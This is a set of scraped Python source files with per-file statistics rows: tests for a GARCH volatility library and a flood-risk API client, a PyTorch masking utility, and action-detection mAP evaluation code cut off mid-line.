arch_forecast.forecast_paths) assert_allclose(forecast.shocks, arch_forecast.shocks) def test_midas_bootstrap_smoke(self): # Note strictly needed if simulation passes since just a special case vol = MIDASHyperbolic() resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) params = np.array([0.1, 0.9, 0.4]) vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=100, method="bootstrap", ) def test_fixed_variance(self): parameters = np.array([1.0]) resids = self.resid variance = np.arange(resids.shape[0]) + 1.0 vol = FixedVariance(variance) vol.start = 0 vol.stop = 1000 backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecasts = vol.forecast(parameters, resids, backcast, var_bounds, horizon=1) assert np.all(np.isnan(forecasts.forecasts)) assert forecasts.forecast_paths is None assert forecasts.shocks is None forecasts = vol.forecast(parameters, resids, backcast, var_bounds, horizon=7) assert np.all(np.isnan(forecasts.forecasts)) assert forecasts.forecast_paths is None assert forecasts.shocks is None dist = Normal(seed=self.rng) rng = dist.simulate([]) forecasts = vol.forecast( parameters, resids, backcast, var_bounds, 333, horizon=4, method="simulation", simulations=100, rng=rng, ) assert np.all(np.isnan(forecasts.forecasts)) assert np.all(np.isnan(forecasts.forecast_paths)) assert np.all(np.isnan(forecasts.shocks)) forecasts = vol.forecast( parameters, resids, backcast, var_bounds, 100, 2, "bootstrap", 500 ) assert np.all(np.isnan(forecasts.forecasts)) assert np.all(np.isnan(forecasts.forecast_paths)) assert np.all(np.isnan(forecasts.shocks)) class TestBootstrapRng(object): @classmethod def setup_class(cls): cls.rng = RandomState(12345) def test_bs_rng(self): y = self.rng.random_sample(1000) bs_rng = BootstrapRng(y, 100, random_state=self.rng) rng = bs_rng.rng() size = (1231, 13) with preserved_state(self.rng): output = {i: rng(size) for i in range(100, 1000)} expected = {} for i in range(100, 1000): locs = self.rng.random_sample(size) expected[i] = y[np.floor(locs * (i + 1)).astype(np.int64)] for i in range(100, 1000): assert_allclose(expected[i], output[i]) def test_bs_rng_errors(self): y = self.rng.random_sample(1000) bs_rng = BootstrapRng(y, 100) rng = bs_rng.rng() with pytest.raises(IndexError): for _ in range(100, 1001): rng(1) y = self.rng.random_sample(1000) with pytest.raises(ValueError): BootstrapRng(y, 0) def test_bootstrap_rng(self): resid = np.arange(1000.0) rs = np.random.RandomState(1) state = rs.get_state() bs_rng = BootstrapRng(resid, start=100, random_state=rs) rng = bs_rng.rng() sim = rng(10000) assert np.max(sim) <= 100.5 assert sim.shape == (10000,) rs.set_state(state) bs_rs = bs_rng.random_state assert bs_rs is rs with pytest.raises(TypeError): BootstrapRng(resid, start=100, random_state=1234) def test_external_rng(): arch_mod = arch_model(None, mean="Constant", vol="GARCH", p=1, q=1) data = arch_mod.simulate(np.array([0.1, 0.1, 0.1, 0.88]), 1000) data.index = pd.date_range("2000-01-01", periods=data.index.shape[0]) rand_state = np.random.RandomState(1) state = rand_state.get_state() volatility = GARCH(1, 0, 1) distribution = Normal(seed=rand_state) mod = ConstantMean(data.data, volatility=volatility, distribution=distribution) res = mod.fit(disp="off") rand_state.set_state(state) fcast_1 = res.forecast( res.params, horizon=5, method="simulation", start=900, simulations=250, reindex=False, ) rand_state.set_state(state) rng = rand_state.standard_normal fcast_2 = res.forecast( res.params, horizon=5, method="simulation", start=900, simulations=250, rng=rng, reindex=False, ) assert_allclose(fcast_1.residual_variance, fcast_2.residual_variance)
36.445087
93
0.528872
9,723
81,965
4.338681
0.032706
0.037336
0.048761
0.048358
0.874197
0.851013
0.816997
0.79872
0.777765
0.764964
0
0.05424
0.345672
81,965
2,248
94
36.461299
0.732324
0.005795
0
0.74331
0
0
0.007125
0
0
0
0
0.000445
0.146184
1
0.025768
false
0
0.007433
0
0.035679
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
222c9d7cc3c6bf9ac2989e06b02c2660380e96f2
20,008
py
Python
tests/api/test_location.py
owenhw/fsf_api_access_python
7ded0b933bcb54cda1ee9c4f05e7b691516e3a66
[ "MIT" ]
15
2020-06-29T18:54:43.000Z
2022-02-15T23:27:49.000Z
tests/api/test_location.py
owenhw/fsf_api_access_python
7ded0b933bcb54cda1ee9c4f05e7b691516e3a66
[ "MIT" ]
57
2020-07-08T14:49:20.000Z
2022-02-14T20:55:10.000Z
tests/api/test_location.py
owenhw/fsf_api_access_python
7ded0b933bcb54cda1ee9c4f05e7b691516e3a66
[ "MIT" ]
7
2020-09-04T18:21:29.000Z
2021-05-14T07:28:35.000Z
# Author: Kelvin Lai <kelvin@firststreet.org> # Copyright: This module is owned by First Street Foundation # Standard Imports import os # External Imports import pytest # Internal Imports import firststreet from firststreet.errors import InvalidArgument api_key = os.environ['FSF_API_KEY'] fs = firststreet.FirstStreet(api_key) class TestLocationDetail: def test_empty(self): with pytest.raises(InvalidArgument): fs.location.get_detail([], "") def test_empty_fsid(self): with pytest.raises(InvalidArgument): fs.location.get_detail([], "property") def test_empty_type(self): with pytest.raises(InvalidArgument): fs.location.get_detail([190836953], "") def test_wrong_fsid_type(self): with pytest.raises(InvalidArgument): fs.location.get_detail(190836953, "property") def test_wrong_fsid_number(self): fsid = [1867176] location = fs.location.get_detail(fsid, "property") assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].state is None assert location[0].valid_id is False def test_incorrect_lookup_type(self, tmpdir): fsid = [190836953] location = fs.location.get_detail(fsid, "city", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].name is None assert location[0].valid_id is False def test_wrong_location_type(self): with pytest.raises(TypeError): fs.location.get_detail([190836953], 190) def test_single(self): fsid = [190836953] location = fs.location.get_detail(fsid, "property") assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].state is not None assert location[0].valid_id is True def test_multiple(self): fsid = [190836953, 193139123] location = fs.location.get_detail(fsid, "property") assert len(location) == 2 location.sort(key=lambda x: x.fsid) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].state is not None assert location[1].state is not None assert location[0].valid_id is True assert location[1].valid_id is True def test_single_csv(self, tmpdir): fsid = [190836953] location = fs.location.get_detail(fsid, "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].state is not None assert location[0].valid_id is True def test_multiple_csv(self, tmpdir): fsid = [190836953, 193139123] location = fs.location.get_detail(fsid, "property", csv=True, output_dir=tmpdir) assert len(location) == 2 location.sort(key=lambda x: x.fsid) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].state is not None assert location[1].state is not None assert location[0].valid_id is True assert location[1].valid_id is True def test_mixed_invalid(self): fsid = [190836953, 000000000] location = fs.location.get_detail(fsid, "property") assert len(location) == 2 location.sort(key=lambda x: x.fsid, reverse=True) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].state is not None assert location[1].state is None assert location[0].valid_id is True assert location[1].valid_id is False def test_mixed_invalid_csv(self, tmpdir): fsid = [190836953, 000000000] location = fs.location.get_detail(fsid, "property", csv=True, output_dir=tmpdir) assert len(location) == 2 location.sort(key=lambda x: x.fsid, reverse=True) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].state is not None assert location[1].state is None assert location[0].valid_id is True assert location[1].valid_id is False def test_coordinate_invalid(self, tmpdir): location = fs.location.get_detail([(82.487671, -62.374322)], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].state is None assert location[0].valid_id is False def test_single_coordinate(self, tmpdir): location = fs.location.get_detail([(40.7079652311, -74.0021455387)], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].state is not None assert location[0].valid_id is True def test_address_invalid_404(self, tmpdir): location = fs.location.get_detail(["Shimik, Nunavut, Canada"], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].state is None assert location[0].valid_id is False def test_address_invalid_500(self, tmpdir): location = fs.location.get_detail(["Toronto, Ontario, Canada"], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].state is None assert location[0].valid_id is False def test_single_address(self, tmpdir): location = fs.location.get_detail(["247 Water St, New York, New York"], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].state is not None assert location[0].valid_id is True def test_one_of_each(self, tmpdir): location = fs.location.get_detail([395112095], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "395112095" assert location[0].streetNumber is not None assert location[0].route is not None assert location[0].city is not None assert location[0].zipCode is not None assert location[0].zcta is not None assert location[0].neighborhood is not None assert location[0].tract is not None assert location[0].county is not None assert location[0].cd is not None assert location[0].state is not None assert location[0].footprintId is not None assert location[0].elevation is None assert location[0].fema is not None assert location[0].geometry is not None location = fs.location.get_detail([1206631], "neighborhood", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "1206631" assert location[0].city is not None assert location[0].name is not None assert location[0].subtype is not None assert location[0].county is not None assert location[0].state is not None assert location[0].geometry is not None location = fs.location.get_detail([3915406], "city", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "3915406" assert location[0].name is not None assert location[0].lsad is not None assert location[0].zcta is not None assert location[0].neighborhood is not None assert location[0].county is not None assert location[0].state is not None assert location[0].geometry is not None location = fs.location.get_detail([44654], "zcta", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "44654" assert location[0].name is not None assert location[0].county is not None assert location[0].city is not None assert location[0].state is not None assert location[0].geometry is not None location = fs.location.get_detail([39151712602], "tract", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fips == "39151712602" assert location[0].county is not None assert location[0].state is not None assert location[0].geometry is not None location = fs.location.get_detail([39077], "county", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "39077" assert location[0].fips is not None assert location[0].name is not None assert location[0].isCoastal is not None assert location[0].city is not None assert location[0].zcta is not None assert location[0].cd is not None assert location[0].state is not None assert location[0].geometry is not None location = fs.location.get_detail([3904], "cd", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "3904" assert location[0].district is not None assert location[0].congress is not None assert location[0].county is not None assert location[0].state is not None assert location[0].geometry is not None location = fs.location.get_detail([39], "state", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "39" assert location[0].name is not None assert location[0].fips is not None assert location[0].geometry is not None class TestLocationSummary: def test_empty(self): with pytest.raises(InvalidArgument): fs.location.get_summary([], "") def test_empty_fsid(self): with pytest.raises(InvalidArgument): fs.location.get_summary([], "property") def test_empty_type(self): with pytest.raises(InvalidArgument): fs.location.get_summary([190836953], "") def test_wrong_fsid_type(self): with pytest.raises(InvalidArgument): fs.location.get_summary(190836953, "property") def test_wrong_fsid_number(self): fsid = [1867176] location = fs.location.get_summary(fsid, "property") assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].adaptation is None assert location[0].valid_id is False def test_incorrect_lookup_type(self, tmpdir): fsid = [190836953] location = fs.location.get_summary(fsid, "city", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].adaptation is None assert location[0].valid_id is False def test_wrong_location_type(self): with pytest.raises(TypeError): fs.location.get_summary([190836953], 190) def test_single(self): fsid = [190836953] location = fs.location.get_summary(fsid, "property") assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].adaptation is not None assert location[0].valid_id is True def test_multiple(self): fsid = [190836953, 193139123] location = fs.location.get_summary(fsid, "property") assert len(location) == 2 location.sort(key=lambda x: x.fsid) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].adaptation is not None assert location[1].adaptation is not None assert location[0].valid_id is True assert location[1].valid_id is True def test_single_csv(self, tmpdir): fsid = [190836953] location = fs.location.get_summary(fsid, "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].fsid == str(fsid[0]) assert location[0].adaptation is not None assert location[0].valid_id is True def test_multiple_csv(self, tmpdir): fsid = [190836953, 193139123] location = fs.location.get_summary(fsid, "property", csv=True, output_dir=tmpdir) assert len(location) == 2 location.sort(key=lambda x: x.fsid) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].adaptation is not None assert location[1].adaptation is not None assert location[0].valid_id is True assert location[1].valid_id is True def test_mixed_invalid(self): fsid = [190836953, 000000000] location = fs.location.get_summary(fsid, "property") assert len(location) == 2 location.sort(key=lambda x: x.fsid, reverse=True) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].adaptation is not None assert location[1].adaptation is None assert location[0].valid_id is True assert location[1].valid_id is False def test_mixed_invalid_csv(self, tmpdir): fsid = [190836953, 000000000] location = fs.location.get_summary(fsid, "property", csv=True, output_dir=tmpdir) assert len(location) == 2 location.sort(key=lambda x: x.fsid, reverse=True) assert location[0].fsid == str(fsid[0]) assert location[1].fsid == str(fsid[1]) assert location[0].adaptation is not None assert location[1].adaptation is None assert location[0].valid_id is True assert location[1].valid_id is False def test_coordinate_invalid(self, tmpdir): location = fs.location.get_summary([(82.487671, -62.374322)], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].adaptation is None assert location[0].valid_id is False def test_single_coordinate(self, tmpdir): location = fs.location.get_summary([(40.7079652311, -74.0021455387)], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].adaptation is not None assert location[0].valid_id is True def test_address_invalid_404(self, tmpdir): location = fs.location.get_summary(["Shimik, Nunavut, Canada"], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].adaptation is None assert location[0].valid_id is False def test_address_invalid_500(self, tmpdir): location = fs.location.get_summary(["Toronto, Ontario, Canada"], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].adaptation is None assert location[0].valid_id is False def test_single_address(self, tmpdir): location = fs.location.get_summary(["247 Water St, New York, New York"], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].adaptation is not None assert location[0].valid_id is True def test_one_of_each(self, tmpdir): location = fs.location.get_summary([395112095], "property", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "395112095" assert location[0].floodFactor is not None assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None location = fs.location.get_summary([631054], "neighborhood", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "631054" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None location = fs.location.get_summary([3958002], "city", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "3958002" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None location = fs.location.get_summary([43935], "zcta", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "43935" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None location = fs.location.get_summary([39153531702], "tract", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "39153531702" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None location = fs.location.get_summary([39027], "county", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "39027" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None location = fs.location.get_summary([3903], "cd", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "3903" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None location = fs.location.get_summary([39], "state", csv=True, output_dir=tmpdir) assert len(location) == 1 assert location[0].valid_id is True assert location[0].fsid == "39" assert location[0].riskDirection is not None assert location[0].historic is not None assert location[0].environmentalRisk is not None assert location[0].adaptation is not None assert location[0].properties is not None assert location[0].properties.get("total") is not None assert location[0].properties.get("atRisk") is not None
43.877193
120
0.65124
2,712
20,008
4.721239
0.054204
0.250391
0.240159
0.17065
0.954545
0.951578
0.945251
0.93916
0.936973
0.934942
0
0.05705
0.243952
20,008
455
121
43.973626
0.789383
0.007647
0
0.819307
0
0
0.033704
0
0
0
0
0
0.670792
1
0.094059
false
0
0.009901
0
0.108911
0.002475
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
11
222d53bed272b83cb32acd18ddd3ec92682d029c
2,942
py
Python
onener/transformer/models/utils.py
sansan-inc/OneNER
4e13ff7a1a990dcbf3c7b7fb1945aacdfa30abe3
[ "Apache-2.0" ]
2
2021-10-11T05:30:44.000Z
2021-12-16T07:46:28.000Z
onener/transformer/models/utils.py
sansan-inc/OneNER
4e13ff7a1a990dcbf3c7b7fb1945aacdfa30abe3
[ "Apache-2.0" ]
null
null
null
onener/transformer/models/utils.py
sansan-inc/OneNER
4e13ff7a1a990dcbf3c7b7fb1945aacdfa30abe3
[ "Apache-2.0" ]
null
null
null
import torch from typing import Tuple, Optional def valid_sequence_output(sequence_output: torch.Tensor, valid_mask: torch.Tensor, attention_mask: torch.Tensor, labels: Optional[torch.Tensor] = None, ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: """ "給", "食"のような"食"の部分を無視して詰めてしまう関数 もともと、"給食"のような1単語のもの(教師ラベルも1つ)をAutoTokenizerで、"給"と"食"にしたため、 "給食"の代表として、"給"のベクトルを使って、学習するため """ batch_size, max_len, feat_dim = sequence_output.shape valid_output = torch.zeros(batch_size, max_len, feat_dim, dtype=torch.float32, device='cuda' if torch.cuda.is_available() else 'cpu') valid_attention_mask = torch.zeros(batch_size, max_len, dtype=torch.long, device='cuda' if torch.cuda.is_available() else 'cpu') if labels is not None: valid_labels = torch.zeros(batch_size, max_len, dtype=torch.long, device='cuda' if torch.cuda.is_available() else 'cpu') else: valid_labels = None for i in range(batch_size): jj = -1 for j in range(max_len): if valid_mask[i][j].item() == 1: jj += 1 valid_output[i][jj] = sequence_output[i][j] valid_attention_mask[i][jj] = attention_mask[i][j] if labels is not None: valid_labels[i][jj] = labels[i][j] return valid_output, valid_labels, valid_attention_mask def remove_special_output(sequence_output: torch.Tensor, attention_mask: torch.Tensor, labels: torch.Tensor = None ) -> Tuple[torch.Tensor, torch.Tensor, torch.Tensor]: """ [CLS], [SEP]の部分を無視して詰めてしまう関数 """ batch_size, max_len, feat_dim = sequence_output.shape valid_output = torch.zeros(batch_size, max_len, feat_dim, dtype=torch.float32, device='cuda' if torch.cuda.is_available() else 'cpu') valid_attention_mask = torch.zeros(batch_size, max_len, dtype=torch.long, device='cuda' if torch.cuda.is_available() else 'cpu') if labels is not None: valid_labels = torch.zeros(batch_size, max_len, dtype=torch.long, device='cuda' if torch.cuda.is_available() else 'cpu') else: valid_labels = None for i in range(batch_size): jj = -1 real_seq_len = torch.sum(attention_mask[i], dim=-1) - 2 for j in range(1, real_seq_len+1): jj += 1 valid_output[i][jj] = sequence_output[i][j] valid_attention_mask[i][jj] = attention_mask[i][j] if labels is not None: valid_labels[i][jj] = labels[i][j] return valid_output, valid_labels, valid_attention_mask
41.43662
93
0.574779
369
2,942
4.376694
0.176152
0.088545
0.059443
0.074303
0.81548
0.783901
0.783901
0.733127
0.733127
0.733127
0
0.007474
0.317811
2,942
70
94
42.028571
0.79721
0.050986
0
0.784314
0
0
0.015256
0
0
0
0
0
0
1
0.039216
false
0
0.039216
0
0.117647
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
223b164cd68b7e11e21bc1d5377e43ae747ce144
38
py
Python
easy_gene/__init__.py
thomsn/easy_gen
722d5d65db6e854102fb6a17400f702b16a3cf11
[ "Unlicense" ]
18
2018-02-22T13:36:27.000Z
2018-03-16T12:51:42.000Z
easy_gene/__init__.py
thomsn/easy_gen
722d5d65db6e854102fb6a17400f702b16a3cf11
[ "Unlicense" ]
null
null
null
easy_gene/__init__.py
thomsn/easy_gen
722d5d65db6e854102fb6a17400f702b16a3cf11
[ "Unlicense" ]
1
2018-03-16T12:51:52.000Z
2018-03-16T12:51:52.000Z
from easy_gene.easy_gene import evolve
38
38
0.894737
7
38
4.571429
0.714286
0.5
0
0
0
0
0
0
0
0
0
0
0.078947
38
1
38
38
0.914286
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
2248d01d0f85fe48aaa1a62be827fa629ae2008e
12,947
py
Python
util/eval_utils.py
zyxia1009/OadTR
ec6e4dafcb465719e80cbf39dcd2099e51927d51
[ "MIT" ]
53
2021-06-21T14:31:54.000Z
2022-03-30T14:37:49.000Z
util/eval_utils.py
zyxia1009/OadTR
ec6e4dafcb465719e80cbf39dcd2099e51927d51
[ "MIT" ]
15
2021-06-23T06:06:12.000Z
2022-03-25T14:30:30.000Z
util/eval_utils.py
zyxia1009/OadTR
ec6e4dafcb465719e80cbf39dcd2099e51927d51
[ "MIT" ]
9
2021-06-27T04:29:56.000Z
2022-03-29T07:25:53.000Z
import os import os.path as osp import json from collections import OrderedDict import numpy as np from sklearn.metrics import average_precision_score from sklearn.metrics import confusion_matrix __all__ = [ 'compute_result_multilabel', 'compute_result_multilabel_test', 'compute_result', 'frame_level_map_n_cap_tvseries', 'frame_level_map_n_cap_thumos', 'compute_result_multilabel_tvseries', ] def compute_result_multilabel_tvseries(class_index, score_metrics, target_metrics, save_dir, result_file, ignore_class=[0], save=True, verbose=False, smooth=False, switch=False): result = OrderedDict() score_metrics = np.array(score_metrics) pred_metrics = np.argmax(score_metrics, axis=1) target_metrics = np.array(target_metrics) ################################################################################################################### # We follow (Shou et al., 2017) and adopt their per-frame evaluation method of THUMOS'14 datset. # Source: https://bitbucket.org/columbiadvmm/cdc/src/master/THUMOS14/eval/PreFrameLabeling/compute_framelevel_mAP.m ################################################################################################################### # Simple temporal smoothing via NMS of 5-frames window if smooth: prob = np.copy(score_metrics) prob1 = prob.reshape(1, prob.shape[0], prob.shape[1]) prob2 = np.append(prob[0, :].reshape(1, -1), prob[0:-1, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob3 = np.append(prob[1:, :], prob[-1, :].reshape(1, -1), axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob4 = np.append(prob[0:2, :], prob[0:-2, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob5 = np.append(prob[2:, :], prob[-2:, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) probsmooth = np.squeeze(np.max(np.concatenate((prob1, prob2, prob3, prob4, prob5), axis=0), axis=0)) score_metrics = np.copy(probsmooth) # Assign cliff diving (5) as diving (8) if switch: switch_index = np.where(score_metrics[:, 5] > score_metrics[:, 8])[0] score_metrics[switch_index, 8] = score_metrics[switch_index, 5] # Remove ambiguous (21) # valid_index = np.where(target_metrics[:, 21]!=1)[0] # Compute AP result['AP'] = OrderedDict() for cls in range(len(class_index)): if cls not in ignore_class: result['AP'][class_index[cls]] = average_precision_score( (target_metrics[:, cls]==1).astype(np.int), score_metrics[:, cls]) if verbose: print('{} AP: {:.5f}'.format(class_index[cls], result['AP'][class_index[cls]])) # Compute mAP result['mAP'] = np.mean(list(result['AP'].values())) if verbose: print('mAP: {:.5f}'.format(result['mAP'])) # Save if save: if not osp.isdir(save_dir): os.makedirs(save_dir) with open(osp.join(save_dir, result_file), 'w') as f: json.dump(result, f) if verbose: print('Saved the result to {}'.format(osp.join(save_dir, result_file))) return result['mAP'] def frame_level_map_n_cap_thumos(results): all_probs = results['probs'] all_labels = results['labels'] n_classes = all_labels.shape[0] all_cls_ap, all_cls_acp = list(), list() for i in range(1, n_classes): this_cls_prob = all_probs[i, :] this_cls_gt = all_labels[i, :] w = np.sum(this_cls_gt == 0) / np.sum(this_cls_gt == 1) indices = np.argsort(-this_cls_prob) tp, psum, cpsum = 0, 0., 0. for k, idx in enumerate(indices): if this_cls_gt[idx] == 1: tp += 1 wtp = w * tp fp = (k + 1) - tp psum += tp / (tp + fp) cpsum += wtp / (wtp + fp) this_cls_ap = psum/np.sum(this_cls_gt) this_cls_acp = cpsum / np.sum(this_cls_gt) all_cls_ap.append(this_cls_ap) all_cls_acp.append(this_cls_acp) map = sum(all_cls_ap) / len(all_cls_ap) cap = sum(all_cls_acp) / len(all_cls_acp) return map, all_cls_ap, cap, all_cls_acp def frame_level_map_n_cap_tvseries(results): all_probs = results['probs'] all_labels = results['labels'] # for i in range(1, all_probs.shape[1] - 1): # all_probs[:, i] = np.mean(all_probs[:, i - 1:i + 1], axis=1) n_classes = all_labels.shape[0] all_cls_ap, all_cls_acp = list(), list() for i in range(1, n_classes): this_cls_prob = all_probs[i, :] this_cls_gt = all_labels[i, :] w = np.sum(this_cls_gt == 0) / np.sum(this_cls_gt == 1) indices = np.argsort(-this_cls_prob) tp, psum, cpsum = 0, 0., 0. for k, idx in enumerate(indices): if this_cls_gt[idx] == 1: tp += 1 wtp = w * tp fp = (k + 1) - tp psum += tp / (tp + fp) cpsum += wtp / (wtp + fp) this_cls_ap = psum/np.sum(this_cls_gt) this_cls_acp = cpsum / np.sum(this_cls_gt) all_cls_ap.append(this_cls_ap) all_cls_acp.append(this_cls_acp) map = sum(all_cls_ap) / len(all_cls_ap) cap = sum(all_cls_acp) / len(all_cls_acp) return map, all_cls_ap, cap, all_cls_acp def compute_result_multilabel_test(class_index, score_metrics, target_metrics, save_dir, result_file, ignore_class=[0], save=True, verbose=False, smooth=False, switch=False, logger=None, step=None): result = OrderedDict() score_metrics = np.array(score_metrics) pred_metrics = np.argmax(score_metrics, axis=1) target_metrics = np.array(target_metrics) ################################################################################################################### # We follow (Shou et al., 2017) and adopt their per-frame evaluation method of THUMOS'14 datset. # Source: https://bitbucket.org/columbiadvmm/cdc/src/master/THUMOS14/eval/PreFrameLabeling/compute_framelevel_mAP.m ################################################################################################################### # Simple temporal smoothing via NMS of 5-frames window if smooth: prob = np.copy(score_metrics) prob1 = prob.reshape(1, prob.shape[0], prob.shape[1]) prob2 = np.append(prob[0, :].reshape(1, -1), prob[0:-1, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob3 = np.append(prob[1:, :], prob[-1, :].reshape(1, -1), axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob4 = np.append(prob[0:2, :], prob[0:-2, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob5 = np.append(prob[2:, :], prob[-2:, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) probsmooth = np.squeeze(np.max(np.concatenate((prob1, prob2, prob3, prob4, prob5), axis=0), axis=0)) score_metrics = np.copy(probsmooth) # Assign cliff diving (5) as diving (8) if switch: switch_index = np.where(score_metrics[:, 5] > score_metrics[:, 8])[0] score_metrics[switch_index, 8] = score_metrics[switch_index, 5] # Remove ambiguous (21) valid_index = np.where(target_metrics[:, 21]!=1)[0] # Compute AP result['AP'] = OrderedDict() for cls in range(len(class_index)): if cls not in ignore_class: result['AP'][class_index[cls]] = average_precision_score( (target_metrics[valid_index, cls]==1).astype(np.int), score_metrics[valid_index, cls]) if verbose: print('{} AP: {:.5f}'.format(class_index[cls], result['AP'][class_index[cls]])) logger.output_test_results('{} AP: {:.5f}'.format(class_index[cls], result['AP'][class_index[cls]])) # Compute mAP result['mAP'] = np.mean(list(result['AP'].values())) if verbose: print('mAP: {:.5f}'.format(result['mAP'])) if step is not None: logger.output_test_results('step {} results : !'.format(step)) logger.output_test_results('mAP: {:.5f} \n'.format(result['mAP'])) # Save if save: if not osp.isdir(save_dir): os.makedirs(save_dir) with open(osp.join(save_dir, result_file), 'w') as f: json.dump(result, f) if verbose: print('Saved the result to {}'.format(osp.join(save_dir, result_file))) logger.output_test_results('Saved the result to {}'.format(osp.join(save_dir, result_file))) return result['mAP'] def compute_result_multilabel(class_index, score_metrics, target_metrics, save_dir, result_file, ignore_class=[0], save=True, verbose=False, smooth=False, switch=False): result = OrderedDict() score_metrics = np.array(score_metrics) pred_metrics = np.argmax(score_metrics, axis=1) target_metrics = np.array(target_metrics) ################################################################################################################### # We follow (Shou et al., 2017) and adopt their per-frame evaluation method of THUMOS'14 datset. # Source: https://bitbucket.org/columbiadvmm/cdc/src/master/THUMOS14/eval/PreFrameLabeling/compute_framelevel_mAP.m ################################################################################################################### # Simple temporal smoothing via NMS of 5-frames window if smooth: prob = np.copy(score_metrics) prob1 = prob.reshape(1, prob.shape[0], 